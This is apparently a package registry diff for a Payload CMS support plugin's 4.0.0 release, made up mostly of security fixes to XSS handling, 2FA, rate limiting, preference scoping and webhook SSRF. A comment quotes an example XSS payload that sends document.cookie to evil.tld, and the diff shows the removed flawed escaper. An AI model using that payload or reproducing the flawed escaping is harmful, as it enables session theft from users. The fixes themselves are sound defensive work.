@consilioweb/payload-support 3.0.0 → 4.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +36 -2
- package/dist/index.cjs +558 -94
- package/dist/index.d.cts +20 -5
- package/dist/index.d.ts +20 -5
- package/dist/index.js +558 -94
- package/package.json +1 -1
- package/src/collections/ChatMessages.ts +59 -2
- package/src/collections/ClientSummaries.ts +10 -4
- package/src/collections/TicketMessages.ts +4 -1
- package/src/collections/WebhookEndpoints.ts +44 -2
- package/src/endpoints/admin-chat.ts +3 -3
- package/src/endpoints/ai-agent.ts +3 -3
- package/src/endpoints/ai.ts +3 -3
- package/src/endpoints/auth-2fa.ts +16 -4
- package/src/endpoints/capabilities.ts +6 -6
- package/src/endpoints/chat.ts +7 -5
- package/src/endpoints/chatbot.ts +48 -2
- package/src/endpoints/client-intelligence.ts +4 -4
- package/src/endpoints/email-stats.ts +19 -3
- package/src/endpoints/import-conversation.ts +1 -1
- package/src/endpoints/index.ts +1 -1
- package/src/endpoints/invite-collaborator.ts +29 -3
- package/src/endpoints/login.ts +15 -2
- package/src/endpoints/oauth-google.ts +130 -8
- package/src/endpoints/resend-notification.ts +3 -3
- package/src/endpoints/send-reminder.ts +3 -3
- package/src/endpoints/signature.ts +9 -2
- package/src/endpoints/ticket-synthesis.ts +3 -3
- package/src/endpoints/transfer-ticket.ts +28 -3
- package/src/endpoints/typing.ts +117 -14
- package/src/endpoints/user-prefs.ts +5 -2
- package/src/plugin.ts +12 -0
- package/src/portal/auth/layout.tsx +19 -1
- package/src/portal/auth/tickets/detail/MessageBody.tsx +88 -0
- package/src/portal/auth/tickets/detail/page.tsx +2 -6
- package/src/portal/login/page.tsx +11 -3
- package/src/utils/fireWebhooks.ts +4 -1
- package/src/utils/rateLimiter.ts +39 -5
- package/src/utils/readSettings.ts +124 -14
- package/src/utils/ticketAccess.ts +16 -1
- package/src/utils/twoFactorChallenge.ts +80 -0
- package/src/utils/urlSafety.ts +230 -0
- package/src/utils/webhookDispatcher.ts +5 -1
|
@@ -0,0 +1,88 @@
|
|
|
1
|
+
import React from 'react'
|
|
2
|
+
|
|
3
|
+
/**
|
|
4
|
+
* Plain-text message bodies (`msg.body` with no `bodyHtml`) rendered as JSX.
|
|
5
|
+
*
|
|
6
|
+
* This used to be a `dangerouslySetInnerHTML` fed by a hand-rolled escaper that
|
|
7
|
+
* replaced `&`, `<` and `>` but NOT the double quote, then re-injected the link
|
|
8
|
+
* target into `href="$2"`. Since the URL pattern accepts every character but
|
|
9
|
+
* whitespace and `)`, a body such as
|
|
10
|
+
*
|
|
11
|
+
* [code:1](https://a"/onmouseover="fetch(`//evil.tld/?c=`+document.cookie))
|
|
12
|
+
*
|
|
13
|
+
* closed the `href` attribute and added a real event-handler attribute.
|
|
14
|
+
* `msg.body` is attacker-controlled from OUTSIDE the tenant: the inbound-email
|
|
15
|
+
* pipeline copies `pendingEmail.body` verbatim into a ticket message
|
|
16
|
+
* (`endpoints/pending-emails-process.ts`), and `sanitizeMessageHtml` only ever
|
|
17
|
+
* looks at `bodyHtml`.
|
|
18
|
+
*
|
|
19
|
+
* The fix is to stop building HTML: React escapes text nodes and attribute
|
|
20
|
+
* values on its own, so no quoting mistake is possible. The URL is additionally
|
|
21
|
+
* parsed and restricted to http/https before it reaches an `href`.
|
|
22
|
+
*
|
|
23
|
+
* Newlines need no `<br/>`: the wrapper carries `whitespace-pre-wrap`.
|
|
24
|
+
*/
|
|
25
|
+
|
|
26
|
+
/** `[code:12](https://…)` — the shared-code link marker posted by the agent console. */
|
|
27
|
+
const CODE_LINK_RE = /\[code:(\d+)\]\((https?:\/\/[^\s)]+)\)/g
|
|
28
|
+
|
|
29
|
+
/** Returns the URL only when it parses AND uses an http(s) scheme; null otherwise. */
|
|
30
|
+
export function safeHttpUrl(raw: string): string | null {
|
|
31
|
+
try {
|
|
32
|
+
const url = new URL(raw)
|
|
33
|
+
if (url.protocol !== 'http:' && url.protocol !== 'https:') return null
|
|
34
|
+
return url.toString()
|
|
35
|
+
} catch {
|
|
36
|
+
return null
|
|
37
|
+
}
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
/**
|
|
41
|
+
* Split a plain-text body into text nodes and `<a>` elements.
|
|
42
|
+
* Exported (rather than inlined in the page) so the escaping contract is
|
|
43
|
+
* unit-testable — the page itself imports `@payload-config` and cannot be
|
|
44
|
+
* loaded from a test.
|
|
45
|
+
*/
|
|
46
|
+
export function renderPlainMessageBody(body: string): React.ReactNode[] {
|
|
47
|
+
const nodes: React.ReactNode[] = []
|
|
48
|
+
const re = new RegExp(CODE_LINK_RE.source, 'g')
|
|
49
|
+
let lastIndex = 0
|
|
50
|
+
let match: RegExpExecArray | null
|
|
51
|
+
|
|
52
|
+
while ((match = re.exec(body)) !== null) {
|
|
53
|
+
if (match.index > lastIndex) nodes.push(body.slice(lastIndex, match.index))
|
|
54
|
+
|
|
55
|
+
const href = safeHttpUrl(match[2])
|
|
56
|
+
if (href) {
|
|
57
|
+
nodes.push(
|
|
58
|
+
<a
|
|
59
|
+
key={`code-${match.index}`}
|
|
60
|
+
href={href}
|
|
61
|
+
target="_blank"
|
|
62
|
+
rel="noopener noreferrer"
|
|
63
|
+
className="text-blue-600 underline font-semibold"
|
|
64
|
+
>
|
|
65
|
+
🔗 Voir le code partagé
|
|
66
|
+
</a>,
|
|
67
|
+
)
|
|
68
|
+
} else {
|
|
69
|
+
// Not a usable link — show the raw marker as text rather than dropping it.
|
|
70
|
+
nodes.push(match[0])
|
|
71
|
+
}
|
|
72
|
+
|
|
73
|
+
lastIndex = match.index + match[0].length
|
|
74
|
+
}
|
|
75
|
+
|
|
76
|
+
if (lastIndex < body.length) nodes.push(body.slice(lastIndex))
|
|
77
|
+
return nodes
|
|
78
|
+
}
|
|
79
|
+
|
|
80
|
+
export function PlainMessageBody({ body }: { body: string }) {
|
|
81
|
+
return (
|
|
82
|
+
<div className="whitespace-pre-wrap text-sm leading-relaxed">
|
|
83
|
+
{renderPlainMessageBody(body ?? '').map((node, i) => (
|
|
84
|
+
<React.Fragment key={i}>{node}</React.Fragment>
|
|
85
|
+
))}
|
|
86
|
+
</div>
|
|
87
|
+
)
|
|
88
|
+
}
|
|
@@ -16,6 +16,7 @@ import { TypingIndicator } from './TypingIndicator'
|
|
|
16
16
|
import { MessageActions, EditedBadge, DeletedMessage } from './MessageActions'
|
|
17
17
|
import { ReadReceipt } from './ReadReceipt'
|
|
18
18
|
import { TransferAndInviteActions } from './TransferAndInviteActions'
|
|
19
|
+
import { PlainMessageBody } from './MessageBody'
|
|
19
20
|
// Document type for ticket attachments
|
|
20
21
|
type PayloadDocument = { filename?: string; title?: string; url?: string }
|
|
21
22
|
|
|
@@ -655,12 +656,7 @@ export default async function TicketDetailPage({ params }: { params: Promise<{ i
|
|
|
655
656
|
dangerouslySetInnerHTML={{ __html: msg.bodyHtml }}
|
|
656
657
|
/>
|
|
657
658
|
) : (
|
|
658
|
-
<
|
|
659
|
-
__html: msg.body
|
|
660
|
-
.replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>')
|
|
661
|
-
.replace(/\[code:(\d+)\]\((https?:\/\/[^\s)]+)\)/g, '<a href="$2" target="_blank" rel="noopener noreferrer" class="text-blue-600 underline font-semibold">🔗 Voir le code partagé</a>')
|
|
662
|
-
.replace(/\n/g, '<br/>')
|
|
663
|
-
}} />
|
|
659
|
+
<PlainMessageBody body={msg.body} />
|
|
664
660
|
)}
|
|
665
661
|
|
|
666
662
|
{/* Attachments */}
|
|
@@ -32,6 +32,10 @@ function SupportLoginContent() {
|
|
|
32
32
|
|
|
33
33
|
// 2FA state
|
|
34
34
|
const [needs2FA, setNeeds2FA] = useState(false)
|
|
35
|
+
// Proof that the password step succeeded, minted by /support/login. Required
|
|
36
|
+
// by /support/2fa {action:'send'} — that endpoint no longer sends a code to
|
|
37
|
+
// anyone who merely knows the address.
|
|
38
|
+
const [challenge, setChallenge] = useState('')
|
|
35
39
|
const [twoFactorCode, setTwoFactorCode] = useState('')
|
|
36
40
|
const [sending2FA, setSending2FA] = useState(false)
|
|
37
41
|
|
|
@@ -60,10 +64,11 @@ function SupportLoginContent() {
|
|
|
60
64
|
if (data.requires2FA) {
|
|
61
65
|
// Send 2FA code
|
|
62
66
|
setSending2FA(true)
|
|
67
|
+
setChallenge(data.challenge || '')
|
|
63
68
|
const codeRes = await fetch('/api/support/2fa', {
|
|
64
69
|
method: 'POST',
|
|
65
70
|
headers: { 'Content-Type': 'application/json' },
|
|
66
|
-
body: JSON.stringify({ action: 'send', email }),
|
|
71
|
+
body: JSON.stringify({ action: 'send', email, challenge: data.challenge }),
|
|
67
72
|
})
|
|
68
73
|
|
|
69
74
|
if (codeRes.ok) {
|
|
@@ -130,12 +135,15 @@ function SupportLoginContent() {
|
|
|
130
135
|
const res = await fetch('/api/support/2fa', {
|
|
131
136
|
method: 'POST',
|
|
132
137
|
headers: { 'Content-Type': 'application/json' },
|
|
133
|
-
body: JSON.stringify({ action: 'send', email }),
|
|
138
|
+
body: JSON.stringify({ action: 'send', email, challenge }),
|
|
134
139
|
})
|
|
135
140
|
if (res.ok) {
|
|
136
141
|
setError('')
|
|
137
142
|
} else {
|
|
138
|
-
|
|
143
|
+
// 401 = the challenge expired (10 min): the password must be re-entered.
|
|
144
|
+
setError(res.status === 401
|
|
145
|
+
? 'Session expirée. Reconnectez-vous pour recevoir un nouveau code.'
|
|
146
|
+
: 'Erreur lors du renvoi du code.')
|
|
139
147
|
}
|
|
140
148
|
} catch {
|
|
141
149
|
setError('Erreur de connexion.')
|
|
@@ -1,6 +1,7 @@
|
|
|
1
1
|
import type { Payload } from 'payload'
|
|
2
2
|
import type { CollectionSlugs } from './slugs'
|
|
3
3
|
import { dbFind, dbUpdate } from './db'
|
|
4
|
+
import { safeFetch } from './urlSafety'
|
|
4
5
|
|
|
5
6
|
/**
|
|
6
7
|
* Fire all active webhooks matching the given event.
|
|
@@ -39,7 +40,9 @@ export async function fireWebhooks(
|
|
|
39
40
|
await Promise.allSettled(
|
|
40
41
|
endpoints.docs.map(async (endpoint: any) => {
|
|
41
42
|
try {
|
|
42
|
-
|
|
43
|
+
// Same SSRF guards as `dispatchWebhook` — this transport is deprecated
|
|
44
|
+
// but still exported, so it must not stay an open door.
|
|
45
|
+
const res = await safeFetch(endpoint.url, {
|
|
43
46
|
method: 'POST',
|
|
44
47
|
headers: {
|
|
45
48
|
'Content-Type': 'application/json',
|
package/src/utils/rateLimiter.ts
CHANGED
|
@@ -119,27 +119,61 @@ export class PayloadRateLimitStore implements RateLimitStore {
|
|
|
119
119
|
}
|
|
120
120
|
}
|
|
121
121
|
|
|
122
|
+
/**
|
|
123
|
+
* Identity part of a rate-limit key for an authenticated caller.
|
|
124
|
+
*
|
|
125
|
+
* Ids are per-collection sequences: support-client #7 and agent #7 are different
|
|
126
|
+
* people with the same `id`. Keying a limiter on `String(user.id)` alone let one
|
|
127
|
+
* consume the other's budget, so the auth collection travels with the id.
|
|
128
|
+
*/
|
|
129
|
+
export function principalRateKey(
|
|
130
|
+
user: { id?: unknown; collection?: unknown } | null | undefined,
|
|
131
|
+
): string {
|
|
132
|
+
if (!user || user.id === undefined || user.id === null) return 'anonymous'
|
|
133
|
+
const collection = typeof user.collection === 'string' && user.collection ? user.collection : 'unknown'
|
|
134
|
+
return `${collection}:${String(user.id)}`
|
|
135
|
+
}
|
|
136
|
+
|
|
122
137
|
export class RateLimiter {
|
|
123
138
|
private readonly store: RateLimitStore
|
|
124
|
-
|
|
139
|
+
private readonly prefix: string
|
|
140
|
+
|
|
141
|
+
/**
|
|
142
|
+
* @param namespace Endpoint-scoped prefix for every key this limiter writes.
|
|
143
|
+
* The store is SHARED (`rateLimitStore: 'payload'` builds one instance for
|
|
144
|
+
* all endpoints), and the raw keys collide across endpoints: `ip` was used
|
|
145
|
+
* by both the login and the chatbot limiter — 10 forged chatbot requests
|
|
146
|
+
* locked a victim out of the portal for 15 minutes — and `String(user.id)`
|
|
147
|
+
* by five different endpoints. Always pass one; it is optional only because
|
|
148
|
+
* `RateLimiter` is part of the published API surface.
|
|
149
|
+
*/
|
|
125
150
|
constructor(
|
|
126
151
|
private readonly windowMs: number,
|
|
127
152
|
private readonly maxRequests: number,
|
|
128
153
|
store?: RateLimitStore,
|
|
154
|
+
namespace?: string,
|
|
129
155
|
) {
|
|
130
156
|
this.store = store ?? new MemoryRateLimitStore()
|
|
157
|
+
this.prefix = namespace ? `${namespace}:` : ''
|
|
158
|
+
}
|
|
159
|
+
|
|
160
|
+
/** The key actually written to the store. Exposed for assertions in tests. */
|
|
161
|
+
scopedKey(key: string): string {
|
|
162
|
+
return `${this.prefix}${key}`
|
|
131
163
|
}
|
|
132
164
|
|
|
133
165
|
async check(key: string, context?: unknown): Promise<boolean> {
|
|
166
|
+
const scoped = this.scopedKey(key)
|
|
134
167
|
const entry = context === undefined
|
|
135
|
-
? await this.store.increment(
|
|
136
|
-
: await this.store.increment(
|
|
168
|
+
? await this.store.increment(scoped, this.windowMs)
|
|
169
|
+
: await this.store.increment(scoped, this.windowMs, context)
|
|
137
170
|
return entry.count > this.maxRequests
|
|
138
171
|
}
|
|
139
172
|
|
|
140
173
|
async reset(key: string, context?: unknown): Promise<void> {
|
|
141
|
-
|
|
142
|
-
|
|
174
|
+
const scoped = this.scopedKey(key)
|
|
175
|
+
if (context === undefined) await this.store.reset(scoped)
|
|
176
|
+
else await this.store.reset(scoped, context)
|
|
143
177
|
}
|
|
144
178
|
}
|
|
145
179
|
import { commitTransaction, initTransaction, killTransaction, type PayloadRequest } from 'payload'
|
|
@@ -13,6 +13,50 @@ const USER_PREFS_KEY_PREFIX = 'support-user-prefs'
|
|
|
13
13
|
/** Pre-2.1 standalone round-robin row — read as a fallback, then folded into `features`. */
|
|
14
14
|
const LEGACY_ROUND_ROBIN_KEY = 'support-round-robin'
|
|
15
15
|
|
|
16
|
+
/**
|
|
17
|
+
* Key under which `plugin.ts` publishes the resolved staff collection slug on
|
|
18
|
+
* `config.custom`. It is the ONE source of truth shared by the read path (here)
|
|
19
|
+
* and the write path (`requireAdmin` → `slugs.users`).
|
|
20
|
+
*/
|
|
21
|
+
export const SUPPORT_STAFF_SLUG_CONFIG_KEY = 'supportStaffCollection'
|
|
22
|
+
|
|
23
|
+
/**
|
|
24
|
+
* Owner scope for every `payload-preferences` row this plugin reads back.
|
|
25
|
+
*
|
|
26
|
+
* `payload-preferences` is writable by ANY authenticated principal, whatever its
|
|
27
|
+
* auth collection: Payload's `POST /api/payload-preferences/:key` handler only
|
|
28
|
+
* checks `!!req.user` before upserting the row. Reading a plugin-wide row by key
|
|
29
|
+
* alone therefore lets a front-office user (or a support-client) plant their own
|
|
30
|
+
* row and have the whole plugin read it — replyTo addresses, SLA escalation
|
|
31
|
+
* address, AI provider, feature flags.
|
|
32
|
+
*
|
|
33
|
+
* Every read below is constrained to `user.relationTo = <staff collection>`, the
|
|
34
|
+
* same scope the WRITE path already uses (endpoints/settings.ts, signature.ts,
|
|
35
|
+
* user-prefs.ts all upsert with `req.user.collection`, and all three are guarded
|
|
36
|
+
* by `requireAdmin`, which compares against `slugs.users`).
|
|
37
|
+
*
|
|
38
|
+
* TWO SOURCES OF TRUTH WERE THE BUG: this used to resolve the scope from
|
|
39
|
+
* `config.admin.user`, which Payload defaults to the FIRST auth collection of
|
|
40
|
+
* the app when the integrator did not declare it (config/sanitize.js). On a host
|
|
41
|
+
* whose first auth collection is the front office and whose staff collection is
|
|
42
|
+
* declared through `collectionSlugs.users`, the read scope named the front
|
|
43
|
+
* office while the write scope named the staff — and the poisoning this scope
|
|
44
|
+
* was added to defeat was open again. So the plugin now PUBLISHES the resolved
|
|
45
|
+
* `slugs.users` on `config.custom` (see plugin.ts) and reads it back here.
|
|
46
|
+
* `config.admin.user` remains a last-resort fallback for callers using these
|
|
47
|
+
* helpers outside of a plugin-built config; there is no plugin deployment in
|
|
48
|
+
* which it is consulted.
|
|
49
|
+
*/
|
|
50
|
+
export function resolveStaffPrefSlug(payload: Payload, staffSlug?: string): string {
|
|
51
|
+
if (staffSlug) return staffSlug
|
|
52
|
+
const config = (payload as unknown as {
|
|
53
|
+
config?: { admin?: { user?: string }; custom?: Record<string, unknown> }
|
|
54
|
+
}).config
|
|
55
|
+
const registered = config?.custom?.[SUPPORT_STAFF_SLUG_CONFIG_KEY]
|
|
56
|
+
if (typeof registered === 'string' && registered) return registered
|
|
57
|
+
return config?.admin?.user || 'users'
|
|
58
|
+
}
|
|
59
|
+
|
|
16
60
|
export interface SupportSettings {
|
|
17
61
|
email: { fromAddress: string; fromName: string; replyToAddress: string }
|
|
18
62
|
ai: { provider: string; model: string; enableSentiment: boolean; enableSynthesis: boolean; enableSuggestion: boolean; enableRewrite: boolean }
|
|
@@ -44,8 +88,17 @@ export const DEFAULT_USER_PREFS: UserPrefs = {
|
|
|
44
88
|
// (the afterChange hook chain). The settings doc changes rarely, so a short TTL
|
|
45
89
|
// + explicit invalidation on save (endpoints/settings.ts) avoids redundant DB
|
|
46
90
|
// reads of the same `payload-preferences` row.
|
|
47
|
-
|
|
91
|
+
// Keyed by the STAFF SLUG the read was scoped to: a single shared slot would
|
|
92
|
+
// serve one install's (or one test's) settings to another whose scope differs.
|
|
93
|
+
// Bounded — the key comes from config, never from a request — but capped anyway
|
|
94
|
+
// so an integrator calling the exported helper with arbitrary slugs cannot grow
|
|
95
|
+
// it without limit.
|
|
96
|
+
const settingsCache = new Map<string, { value: SupportSettingsState; ts: number }>()
|
|
48
97
|
const SETTINGS_TTL_MS = 60_000
|
|
98
|
+
const SETTINGS_CACHE_MAX = 8
|
|
99
|
+
|
|
100
|
+
/** Rate-limits the "settings row exists but is not staff-owned" warning, per scope. */
|
|
101
|
+
const warnedForeignSettingsRow = new Set<string>()
|
|
49
102
|
|
|
50
103
|
export interface SupportSettingsState {
|
|
51
104
|
settings: SupportSettings
|
|
@@ -59,7 +112,8 @@ export interface SupportSettingsState {
|
|
|
59
112
|
|
|
60
113
|
/** Invalidate the settings cache — call right after writing support settings. */
|
|
61
114
|
export function invalidateSupportSettingsCache(): void {
|
|
62
|
-
settingsCache
|
|
115
|
+
settingsCache.clear()
|
|
116
|
+
warnedForeignSettingsRow.clear()
|
|
63
117
|
}
|
|
64
118
|
|
|
65
119
|
/**
|
|
@@ -85,9 +139,14 @@ export function mergeSupportSettings(
|
|
|
85
139
|
}
|
|
86
140
|
}
|
|
87
141
|
|
|
88
|
-
export async function readSupportSettingsState(
|
|
89
|
-
|
|
90
|
-
|
|
142
|
+
export async function readSupportSettingsState(
|
|
143
|
+
payload: Payload,
|
|
144
|
+
staffSlug?: string,
|
|
145
|
+
): Promise<SupportSettingsState> {
|
|
146
|
+
const staff = resolveStaffPrefSlug(payload, staffSlug)
|
|
147
|
+
const cached = settingsCache.get(staff)
|
|
148
|
+
if (cached && Date.now() - cached.ts < SETTINGS_TTL_MS) {
|
|
149
|
+
return cached.value
|
|
91
150
|
}
|
|
92
151
|
let value: SupportSettingsState = {
|
|
93
152
|
settings: mergeSupportSettings(null),
|
|
@@ -95,7 +154,10 @@ export async function readSupportSettingsState(payload: Payload): Promise<Suppor
|
|
|
95
154
|
}
|
|
96
155
|
try {
|
|
97
156
|
const prefs = await dbFind(payload, 'payload-preferences', {
|
|
98
|
-
|
|
157
|
+
// Sibling keys are AND-ed by Payload. The `user.relationTo` clause is the
|
|
158
|
+
// security boundary: without it any authenticated principal can plant a
|
|
159
|
+
// `support-settings` row and own the plugin's server settings.
|
|
160
|
+
where: { key: { equals: PREF_KEY }, 'user.relationTo': { equals: staff } },
|
|
99
161
|
// The upsert is scoped per admin user, so several rows can share the key.
|
|
100
162
|
// Sorting makes "last write wins" deterministic instead of arbitrary.
|
|
101
163
|
sort: '-updatedAt',
|
|
@@ -110,24 +172,63 @@ export async function readSupportSettingsState(payload: Payload): Promise<Suppor
|
|
|
110
172
|
// Honour it until the first save writes `features` — after that the
|
|
111
173
|
// legacy row is ignored, and both write paths land in `features`.
|
|
112
174
|
if (!featuresConfigured) {
|
|
113
|
-
settings.features.roundRobin = await readLegacyRoundRobin(payload)
|
|
175
|
+
settings.features.roundRobin = await readLegacyRoundRobin(payload, staff)
|
|
114
176
|
}
|
|
115
177
|
|
|
116
178
|
value = { settings, featuresConfigured }
|
|
179
|
+
} else {
|
|
180
|
+
await warnOnForeignSettingsRow(payload, staff)
|
|
117
181
|
}
|
|
118
182
|
} catch { /* fallback to defaults */ }
|
|
119
|
-
settingsCache
|
|
183
|
+
if (settingsCache.size >= SETTINGS_CACHE_MAX && !settingsCache.has(staff)) settingsCache.clear()
|
|
184
|
+
settingsCache.set(staff, { value, ts: Date.now() })
|
|
120
185
|
return value
|
|
121
186
|
}
|
|
122
187
|
|
|
123
|
-
|
|
124
|
-
|
|
188
|
+
/**
|
|
189
|
+
* The scoped read came back empty. That is normal on a fresh install, but it is
|
|
190
|
+
* also what an operator sees when the settings row was written under another
|
|
191
|
+
* owner than the resolved staff collection: the row exists, is ignored,
|
|
192
|
+
* and the whole plugin silently runs on the defaults — a `try/catch` away from
|
|
193
|
+
* any signal. So: if a row with this key exists under ANOTHER owner, say so.
|
|
194
|
+
*
|
|
195
|
+
* Same message covers the other case, deliberately: a `support-settings` row
|
|
196
|
+
* owned by a non-staff principal is exactly the poisoning attempt this scope was
|
|
197
|
+
* added to defeat, and the operator should hear about it. Once per cache window
|
|
198
|
+
* at most (the extra query only runs when nothing was found).
|
|
199
|
+
*/
|
|
200
|
+
async function warnOnForeignSettingsRow(payload: Payload, staff: string): Promise<void> {
|
|
201
|
+
if (warnedForeignSettingsRow.has(staff)) return
|
|
202
|
+
try {
|
|
203
|
+
const any = await dbFind(payload, 'payload-preferences', {
|
|
204
|
+
where: { key: { equals: PREF_KEY } },
|
|
205
|
+
limit: 1, depth: 0, overrideAccess: true,
|
|
206
|
+
})
|
|
207
|
+
if (any.docs.length === 0) return // fresh install — nothing to report
|
|
208
|
+
if (warnedForeignSettingsRow.size >= SETTINGS_CACHE_MAX) warnedForeignSettingsRow.clear()
|
|
209
|
+
warnedForeignSettingsRow.add(staff)
|
|
210
|
+
console.warn(
|
|
211
|
+
`[support] A "${PREF_KEY}" preference row exists but none is owned by the "${staff}" collection: ` +
|
|
212
|
+
'the plugin is running on its DEFAULT settings. Either the staff auth collection differs from ' +
|
|
213
|
+
'`admin.user`, or the row was written by a principal that is not staff — in which case it is ' +
|
|
214
|
+
'ignored on purpose.',
|
|
215
|
+
)
|
|
216
|
+
} catch {
|
|
217
|
+
/* diagnostic only — never let it change the outcome */
|
|
218
|
+
}
|
|
219
|
+
}
|
|
220
|
+
|
|
221
|
+
export async function readSupportSettings(
|
|
222
|
+
payload: Payload,
|
|
223
|
+
staffSlug?: string,
|
|
224
|
+
): Promise<SupportSettings> {
|
|
225
|
+
return (await readSupportSettingsState(payload, staffSlug)).settings
|
|
125
226
|
}
|
|
126
227
|
|
|
127
|
-
async function readLegacyRoundRobin(payload: Payload): Promise<boolean> {
|
|
228
|
+
async function readLegacyRoundRobin(payload: Payload, staff: string): Promise<boolean> {
|
|
128
229
|
try {
|
|
129
230
|
const prefs = await dbFind(payload, 'payload-preferences', {
|
|
130
|
-
where: { key: { equals: LEGACY_ROUND_ROBIN_KEY } },
|
|
231
|
+
where: { key: { equals: LEGACY_ROUND_ROBIN_KEY }, 'user.relationTo': { equals: staff } },
|
|
131
232
|
limit: 1, depth: 0, overrideAccess: true,
|
|
132
233
|
})
|
|
133
234
|
if (prefs.docs.length > 0) {
|
|
@@ -137,11 +238,20 @@ async function readLegacyRoundRobin(payload: Payload): Promise<boolean> {
|
|
|
137
238
|
return DEFAULT_TICKETING_FEATURES.roundRobin
|
|
138
239
|
}
|
|
139
240
|
|
|
140
|
-
export async function readUserPrefs(
|
|
241
|
+
export async function readUserPrefs(
|
|
242
|
+
payload: Payload,
|
|
243
|
+
userId: string | number,
|
|
244
|
+
staffSlug?: string,
|
|
245
|
+
): Promise<UserPrefs> {
|
|
141
246
|
try {
|
|
142
247
|
const key = `${USER_PREFS_KEY_PREFIX}-${userId}`
|
|
248
|
+
// Ids collide across auth collections: a support-client with id 7 would
|
|
249
|
+
// otherwise own `support-user-prefs-7`, the row read back for agent 7.
|
|
143
250
|
const prefs = await dbFind(payload, 'payload-preferences', {
|
|
144
|
-
where: {
|
|
251
|
+
where: {
|
|
252
|
+
key: { equals: key },
|
|
253
|
+
'user.relationTo': { equals: resolveStaffPrefSlug(payload, staffSlug) },
|
|
254
|
+
},
|
|
145
255
|
limit: 1, depth: 0, overrideAccess: true,
|
|
146
256
|
})
|
|
147
257
|
if (prefs.docs.length > 0) {
|
|
@@ -13,11 +13,24 @@ import { dbFind } from './db'
|
|
|
13
13
|
*
|
|
14
14
|
* Returns an empty array when the client has no accessible tickets — callers MUST
|
|
15
15
|
* treat that as "deny" (e.g. filter on a sentinel id) rather than "allow all".
|
|
16
|
+
*
|
|
17
|
+
* `mode` selects which of the two scopes is wanted:
|
|
18
|
+
* - `'read'` (default) — owned tickets + every ticket collaborated on, whatever
|
|
19
|
+
* the role. This is the historical behaviour and what `access.read` needs.
|
|
20
|
+
* - `'write'` — owned tickets + collaborated tickets whose row carries
|
|
21
|
+
* `role === 'collaborator'`. The invitation endpoint offers two roles and the
|
|
22
|
+
* invitation email promises "lecteur (consultation)" for `viewer`, but nothing
|
|
23
|
+
* ever read the field back: a viewer could post into the thread and trigger the
|
|
24
|
+
* whole notification chain. Rows with no explicit role are treated as viewers
|
|
25
|
+
* (the collection's own `defaultValue`), i.e. read-only — fail closed.
|
|
16
26
|
*/
|
|
27
|
+
export type TicketAccessMode = 'read' | 'write'
|
|
28
|
+
|
|
17
29
|
export async function resolveAccessibleTicketIds(
|
|
18
30
|
payload: Payload,
|
|
19
31
|
slugs: CollectionSlugs,
|
|
20
32
|
clientId: number | string,
|
|
33
|
+
mode: TicketAccessMode = 'read',
|
|
21
34
|
): Promise<Array<number | string>> {
|
|
22
35
|
const ids = new Set<number | string>()
|
|
23
36
|
|
|
@@ -41,7 +54,9 @@ export async function resolveAccessibleTicketIds(
|
|
|
41
54
|
overrideAccess: true,
|
|
42
55
|
})
|
|
43
56
|
for (const r of collab.docs) {
|
|
44
|
-
const row = r as { ticket?: number | string | { id?: number | string } }
|
|
57
|
+
const row = r as { ticket?: number | string | { id?: number | string }; role?: string }
|
|
58
|
+
// `viewer` (and any row without an explicit role) grants read only.
|
|
59
|
+
if (mode === 'write' && row.role !== 'collaborator') continue
|
|
45
60
|
const tid = typeof row.ticket === 'object' ? row.ticket?.id : row.ticket
|
|
46
61
|
if (tid !== undefined && tid !== null) ids.add(tid)
|
|
47
62
|
}
|
|
@@ -0,0 +1,80 @@
|
|
|
1
|
+
import { createHmac, timingSafeEqual } from 'crypto'
|
|
2
|
+
|
|
3
|
+
/**
|
|
4
|
+
* Proof that the password step already succeeded for this email address.
|
|
5
|
+
*
|
|
6
|
+
* `POST /support/2fa {action:'send'}` used to accept an email and nothing else.
|
|
7
|
+
* Its only guard was a limiter keyed on that email — 3 sends per hour — so an
|
|
8
|
+
* ANONYMOUS caller who knew a victim's address (they circulate in ticket threads
|
|
9
|
+
* and email copies) could burn the quota in three requests and leave the victim
|
|
10
|
+
* unable to obtain the code their own login now demands. Since the OAuth path
|
|
11
|
+
* enforces 2FA as well, that was a complete, renewable account lockout, plus an
|
|
12
|
+
* outbound-email amplifier and a way to overwrite a code already in flight.
|
|
13
|
+
*
|
|
14
|
+
* The fix keys the consumable resource to something the ATTACKER cannot produce:
|
|
15
|
+
* a short-lived signature issued only by a successful password (or Google)
|
|
16
|
+
* authentication. Same HMAC-over-PAYLOAD_SECRET construction as the tracking
|
|
17
|
+
* pixel, no storage, no new dependency.
|
|
18
|
+
*
|
|
19
|
+
* Format: `<expiry-ms>.<hex hmac>`. The signature covers the email AND the
|
|
20
|
+
* expiry, so neither can be swapped without invalidating the token, and a token
|
|
21
|
+
* issued for one account is useless for another.
|
|
22
|
+
*/
|
|
23
|
+
|
|
24
|
+
/** Matches the 10-minute validity of the code the challenge lets you request. */
|
|
25
|
+
export const TWO_FACTOR_CHALLENGE_TTL_MS = 10 * 60 * 1000
|
|
26
|
+
|
|
27
|
+
function challengeSecret(): string {
|
|
28
|
+
const secret = process.env.PAYLOAD_SECRET
|
|
29
|
+
if (!secret) {
|
|
30
|
+
// Fail closed: the codes themselves are hashed with this secret, so 2FA is
|
|
31
|
+
// already inoperable without it — never fall back to a source-visible value.
|
|
32
|
+
throw new Error(
|
|
33
|
+
'[support][2fa] PAYLOAD_SECRET is not set — refusing to issue a 2FA challenge with an insecure fallback secret',
|
|
34
|
+
)
|
|
35
|
+
}
|
|
36
|
+
return secret
|
|
37
|
+
}
|
|
38
|
+
|
|
39
|
+
function normalizeEmail(email: string): string {
|
|
40
|
+
return String(email).trim().toLowerCase()
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
function sign(email: string, expiresAt: number): string {
|
|
44
|
+
return createHmac('sha256', challengeSecret())
|
|
45
|
+
.update(`2fa-challenge:${normalizeEmail(email)}:${expiresAt}`)
|
|
46
|
+
.digest('hex')
|
|
47
|
+
}
|
|
48
|
+
|
|
49
|
+
/** Issued by the login endpoints once credentials have been verified. */
|
|
50
|
+
export function issueTwoFactorChallenge(email: string, now: number = Date.now()): string {
|
|
51
|
+
const expiresAt = now + TWO_FACTOR_CHALLENGE_TTL_MS
|
|
52
|
+
return `${expiresAt}.${sign(email, expiresAt)}`
|
|
53
|
+
}
|
|
54
|
+
|
|
55
|
+
